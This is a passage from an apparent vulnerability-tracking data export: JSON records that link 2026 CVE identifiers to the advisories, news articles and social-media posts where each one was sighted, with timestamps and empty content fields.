"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24288", "type": "seen", "source": "https://www.thezdi.com/blog/2026/3/10/the-march-2026-security-update-review", "content": "", "creation_timestamp": "2026-03-10T16:57:37.000000Z"}, {"uuid": "d7c06fe8-85de-4b35-8de1-f3caea45e8de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://thehackernews.com/2026/02/cisa-flags-four-security-flaws-under.html", "content": "", "creation_timestamp": "2026-02-18T05:52:00.000000Z"}, {"uuid": "30e69400-e65b-47e4-98a5-40e2235e5b25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24733", "type": "seen", "source": "https://threatintel.cc/2026/02/20/apache-tomcat-vulnerabilities-let-attackers.html", "content": "", "creation_timestamp": "2026-02-20T12:10:04.000000Z"}, {"uuid": "ccf1a886-a6cb-4dc7-8f81-d3062e3de17f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24290", "type": "seen", "source": "https://www.thezdi.com/blog/2026/3/10/the-march-2026-security-update-review", "content": "", "creation_timestamp": "2026-03-10T16:57:37.000000Z"}, {"uuid": "a74a04f7-cf3b-4e3f-801c-70af73b26a16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24854", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdnpbcmirp2m", "content": "", "creation_timestamp": "2026-01-30T16:17:17.740107Z"}, {"uuid": "431f65ab-2e4f-4775-a4a5-ccf394707759", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24515", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mfujn6it4c2y", "content": "", "creation_timestamp": "2026-02-27T20:15:37.259539Z"}, {"uuid": "87ea9557-1632-4e12-8e99-c12a9c2f61a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24854", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdnpc7xua523", "content": "", "creation_timestamp": "2026-01-30T16:17:48.925028Z"}, {"uuid": "b285ded0-3f0f-4638-b3d5-bc0fa8206fdc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24281", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mghuqlza3v2x", "content": "", "creation_timestamp": "2026-03-07T12:54:55.875244Z"}, {"uuid": "ca5617ce-02ba-4675-9139-76660979a1bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/redsiege.com/post/3mdljksbei22x", "content": "", "creation_timestamp": "2026-01-29T19:29:55.182584Z"}, {"uuid": "fcf24940-6b7f-400a-80ad-6bafe151f9bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2473", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116109782188711633", "content": "", "creation_timestamp": "2026-02-21T17:24:34.902679Z"}, {"uuid": "32588a73-5e26-4698-ac27-924d5df39c23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24849", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfnpkdkjvs2u", "content": "", "creation_timestamp": "2026-02-25T03:12:43.815058Z"}, {"uuid": "f01056a2-3d37-48a6-b12d-e844ae433f1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24733", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mff7kbgoxl2m", "content": "", "creation_timestamp": "2026-02-21T18:05:04.279254Z"}, {"uuid": "d895e4e0-b4fe-4991-b4df-94a3fad43d96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24308", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mghuzkgpno27", "content": "", "creation_timestamp": "2026-03-07T12:59:56.122099Z"}, {"uuid": "569afcaa-e16a-4fc2-b7b2-50730bc6b14a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mff7ntkkpn2x", "content": "", "creation_timestamp": "2026-02-21T18:07:04.000074Z"}, {"uuid": "2051692b-5054-4a1e-adc5-506f851f6c19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3me7sij2xkz2j", "content": "", "creation_timestamp": "2026-02-06T21:02:59.132228Z"}, {"uuid": "98ebb671-4ca5-4711-a3a4-d6b09b727074", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/newsyc250.bsky.social/post/3mf6iuzjle323", "content": "", "creation_timestamp": "2026-02-19T02:03:29.931040Z"}, {"uuid": "3e258b09-7cf3-4bba-89a1-b28ca2b60008", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24895", "type": "seen", "source": "https://gist.github.com/alon710/ddfcc9ce61b90942fef47df753b076d0", "content": "", "creation_timestamp": "2026-02-12T19:40:23.000000Z"}, {"uuid": "90cbc72d-d70c-4d3c-99d3-cbf40f5da676", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/deskmodder.de/post/3mf4osbwtgh2c", "content": "", "creation_timestamp": "2026-02-18T08:44:01.453059Z"}, {"uuid": "198a3c49-122c-4cbe-8b4f-225d39d5e987", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24762", "type": "seen", "source": "https://gist.github.com/alon710/b1f5845bad08cb88f5b1ff4accf32464", "content": "", "creation_timestamp": "2026-02-03T18:10:05.000000Z"}, {"uuid": "92aee41f-41c7-461f-9694-74413f784686", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://infosec.exchange/users/catsalad/statuses/116055268508883594", "content": "", "creation_timestamp": "2026-02-12T02:21:09.812358Z"}, {"uuid": "d5663492-c607-4dfa-8868-814b0fbf3d73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mf6kc7koyf2j", "content": "", "creation_timestamp": "2026-02-19T02:28:46.392776Z"}, {"uuid": "629fb702-f41e-4f4d-bde4-cefab3eae34b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24512", "type": "seen", "source": "https://hachyderm.io/users/ChrisShort/statuses/116008045925159135", "content": "", "creation_timestamp": "2026-02-03T18:11:43.394205Z"}, {"uuid": "005ebdfc-ff19-41dd-9ff9-c49c7652dcee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2488", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mggue6pzdg2o", "content": "", "creation_timestamp": "2026-03-07T03:15:19.294217Z"}, {"uuid": "26fb41d7-2984-4ad2-9330-b3778d2870f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24512", "type": "seen", "source": "https://bsky.app/profile/chrisshort.net/post/3mdxxjnlexh2s", "content": "", "creation_timestamp": "2026-02-03T18:11:45.444585Z"}, {"uuid": "c5582515-f613-4d77-b793-441f52ccd533", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2409", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116098951923720675", "content": "", "creation_timestamp": "2026-02-19T19:30:20.212039Z"}, {"uuid": "74b6dd4a-f170-4804-b8d5-5d114cc607f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2409", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mfadevve5222", "content": "", "creation_timestamp": "2026-02-19T19:30:20.829038Z"}, {"uuid": "20f99852-0c19-419a-84c6-7d3bdd2bfc04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24512", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3memx22zzpe2s", "content": "", "creation_timestamp": "2026-02-12T02:28:56.746009Z"}, {"uuid": "e24672fa-7164-4765-af6c-6945b4e5f64d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24773", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdxy3pgnit2o", "content": "", "creation_timestamp": "2026-02-03T18:21:51.125808Z"}, {"uuid": "5c58b6a6-f034-4351-be6d-037757f56626", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3memx22zzpe2s", "content": "", "creation_timestamp": "2026-02-12T02:28:56.879945Z"}, {"uuid": "af9f6c30-d399-42c7-92f9-f029fb414a3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/css-tricks.bsky.social/post/3mfpnbxfymc26", "content": "", "creation_timestamp": "2026-02-25T21:37:36.103911Z"}, {"uuid": "efe960db-5b82-4805-8d38-568631da7c70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2428", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfsxsvvuq32x", "content": "", "creation_timestamp": "2026-02-27T05:23:59.915194Z"}, {"uuid": "598dc2ab-36bb-4c62-b372-007ac664ded9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mdwctdoczv2y", "content": "", "creation_timestamp": "2026-02-03T02:28:41.590114Z"}, {"uuid": "dd34b341-1752-406a-936a-7203448ac582", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24669", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdxy3vyfzl2x", "content": "", "creation_timestamp": "2026-02-03T18:21:58.684313Z"}, {"uuid": "297362a2-7416-4296-bbf1-2e3defd31991", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2495", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mf4qn2e2t62x", "content": "", "creation_timestamp": "2026-02-18T09:16:53.750538Z"}, {"uuid": "008eba1e-ab94-490d-81a2-86ad93ad21d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2473", "type": "seen", "source": "https://gist.github.com/caraaaaa/18b18fa6686b0150de664f815a3c22e6", "content": "", "creation_timestamp": "2026-03-04T21:18:07.000000Z"}, {"uuid": "0eae155e-6a14-435d-bae7-09236616bc41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24665", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdxy45jryx23", "content": "", "creation_timestamp": "2026-02-03T18:22:05.744206Z"}, {"uuid": "584a19cc-cd83-481d-bb86-7f9b337dca21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2495", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mf4rnecges2h", "content": "", "creation_timestamp": "2026-02-18T09:34:57.096456Z"}, {"uuid": "1e8c8c37-8079-4ef7-bd6f-a56452e1a9e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24790", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-050-04", "content": "", "creation_timestamp": "2026-02-19T11:00:00.000000Z"}, {"uuid": "eaf0795a-e197-4294-8ef9-eec32e042f72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24485", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfw6gfyklu2i", "content": "", "creation_timestamp": "2026-02-28T12:00:16.426789Z"}, {"uuid": "ee994dcf-1c80-46b0-bb87-fa7d2e8e46b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2448", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116163361394594510", "content": "", "creation_timestamp": "2026-03-03T04:30:30.339784Z"}, {"uuid": "b058c220-d278-431e-bcf3-391db43a0933", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "https://bsky.app/profile/samilaiho.com/post/3mdjaivd6es2d", "content": "", "creation_timestamp": "2026-01-28T21:42:29.442954Z"}, {"uuid": "2df97ff7-97d5-4199-8d89-66fb7513c332", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2448", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mg4wowxu2425", "content": "", "creation_timestamp": "2026-03-03T04:30:31.102304Z"}, {"uuid": "2b5fe8a0-0112-4add-b0e3-069d92e69e5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2431", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mggvltvlbz2u", "content": "", "creation_timestamp": "2026-03-07T03:37:30.564661Z"}, {"uuid": "47d72882-a380-4577-b789-bc943f48cc62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24489", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mdxytd7auv2l", "content": "", "creation_timestamp": "2026-02-03T18:35:03.851079Z"}, {"uuid": "4f2bbdea-28f4-47e8-b71c-19974e2adb51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3me5zffjhhj2s", "content": "", "creation_timestamp": "2026-02-06T04:01:08.209205Z"}, {"uuid": "788c5c02-3ca4-4f89-a707-f2cfae475c03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24733", "type": "seen", "source": "https://bsky.app/profile/osanpo.bsky.social/post/3mf4rxhluqb2o", "content": "", "creation_timestamp": "2026-02-18T09:40:36.159589Z"}, {"uuid": "3fababdf-2b53-449d-8733-a69e0a3c0456", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24455", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-050-03", "content": "", "creation_timestamp": "2026-02-19T11:00:00.000000Z"}, {"uuid": "c16f1eeb-af10-4834-a32f-138f8555f5ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24769", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdjb7fmhuu2n", "content": "", "creation_timestamp": "2026-01-28T21:55:07.475568Z"}, {"uuid": "7176cbfc-63d4-4e16-91a3-f56bd2625239", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24734", "type": "seen", "source": "https://bsky.app/profile/osanpo.bsky.social/post/3mf4rxhluqb2o", "content": "", "creation_timestamp": "2026-02-18T09:40:36.261025Z"}, {"uuid": "a8680e29-b1bf-4be1-83db-fc8113c567f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24856", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdjbii6hqi2g", "content": "", "creation_timestamp": "2026-01-28T22:00:07.479240Z"}, {"uuid": "2d3d8d90-1282-4ef3-b90b-e67d4e2bb374", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24780", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdllvormhk2r", "content": "", "creation_timestamp": "2026-01-29T20:11:46.654488Z"}, {"uuid": "474b073a-aa7b-4993-b7b2-242b2c572600", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/opsmatters.com/post/3me62w7izym2i", "content": "", "creation_timestamp": "2026-02-06T04:28:26.001442Z"}, {"uuid": "4015599c-849b-4892-8be7-3f9d279cd361", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24445", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfsyjzfvne2x", "content": "", "creation_timestamp": "2026-02-27T05:36:56.187537Z"}, {"uuid": "f0b60fe7-17d3-46b8-ae08-fed162f10972", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2429", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mggvusd36s2u", "content": "", "creation_timestamp": "2026-03-07T03:42:30.654488Z"}, {"uuid": "d8a4a902-56ea-460d-bc70-5f7fff3d4892", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24835", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdjbrhyc7l2r", "content": "", "creation_timestamp": "2026-01-28T22:05:09.664973Z"}, {"uuid": "b58b1cd0-4766-428e-b7e7-5a499b7e06ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24517", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfsykai6wz2n", "content": "", "creation_timestamp": "2026-02-27T05:37:03.231972Z"}, {"uuid": "ad85be3e-29ae-4db4-adc2-655c12919a99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24772", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdjc2gh7eu2c", "content": "", "creation_timestamp": "2026-01-28T22:10:09.294743Z"}, {"uuid": "c9116bd8-eed6-4bd2-87e3-7f3f7dad9b84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3memynuxlhk2w", "content": "", "creation_timestamp": "2026-02-12T02:57:59.005613Z"}, {"uuid": "d2ea631a-149d-4331-afac-fc0f44741c4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/hncompanion.com/post/3mf6w4cbuac2s", "content": "", "creation_timestamp": "2026-02-19T06:00:13.319040Z"}, {"uuid": "323756b9-f1c3-4c25-b86e-bf34070fc6bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24694", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdwpky7uwk2g", "content": "", "creation_timestamp": "2026-02-03T06:16:40.418948Z"}, {"uuid": "6647a9aa-d5eb-4898-b045-9faa88ea88d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/hncompanion.com/post/3mf6w4cddpz2z", "content": "", "creation_timestamp": "2026-02-19T06:00:13.804304Z"}, {"uuid": "d03e5010-bbf0-454a-aec3-8fdd60166e34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mfaf62lttes2", "content": "", "creation_timestamp": "2026-02-19T20:02:18.445779Z"}, {"uuid": "35344859-0907-4524-9cd9-fe4862b1e956", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mdjcx3ffvq2e", "content": "", "creation_timestamp": "2026-01-28T22:26:10.407570Z"}, {"uuid": "438fee6e-63c7-4028-9205-df48a2906034", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24515", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3me2ugqk24c2u", "content": "", "creation_timestamp": "2026-02-04T21:54:29.605800Z"}, {"uuid": "0263793e-d708-4f7d-b5e5-4408f6f1d4dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24465", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdwt2g2p7r2a", "content": "", "creation_timestamp": "2026-02-03T07:18:59.560833Z"}, {"uuid": "1ea2a6f6-8571-42f1-a2dc-3d45de6af19d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24954", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdy3f6vls42m", "content": "", "creation_timestamp": "2026-02-03T19:20:51.257600Z"}, {"uuid": "84045293-a304-47a2-bfa8-2f2f38583f5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2494", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mggw5qqdqf2d", "content": "", "creation_timestamp": "2026-03-07T03:47:31.112885Z"}, {"uuid": "6c2dab0c-9629-4389-b6bc-2a968f329c50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/cyberdudebivash.bsky.social/post/3mdnusw3pbc2w", "content": "", "creation_timestamp": "2026-01-30T17:56:41.547140Z"}, {"uuid": "2230cdcc-d259-4813-839f-3bc7cba34c92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3memyywn7jk2w", "content": "", "creation_timestamp": "2026-02-12T03:04:11.224355Z"}, {"uuid": "9cef5626-7898-4ce4-ad10-778021b82a23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24049", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mdy3ymotcc2t", "content": "", "creation_timestamp": "2026-02-03T19:31:45.281436Z"}, {"uuid": "4a1e74b4-1731-48dc-b411-26c050747d21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24413", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdlmmb55ts26", "content": "", "creation_timestamp": "2026-01-29T20:24:24.106988Z"}, {"uuid": "956fff1e-8357-4133-8e1b-d4efad2d80e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/betterhn300.e-work.xyz/post/3mf6wii4iyj2o", "content": "", "creation_timestamp": "2026-02-19T06:07:01.336559Z"}, {"uuid": "04884233-62db-4293-a24d-0485238d5c13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24054", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdlmr5j2l72g", "content": "", "creation_timestamp": "2026-01-29T20:27:08.878418Z"}, {"uuid": "7a06af26-561d-462d-ba3f-44a683964950", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24854", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdnuz6gpyo2m", "content": "", 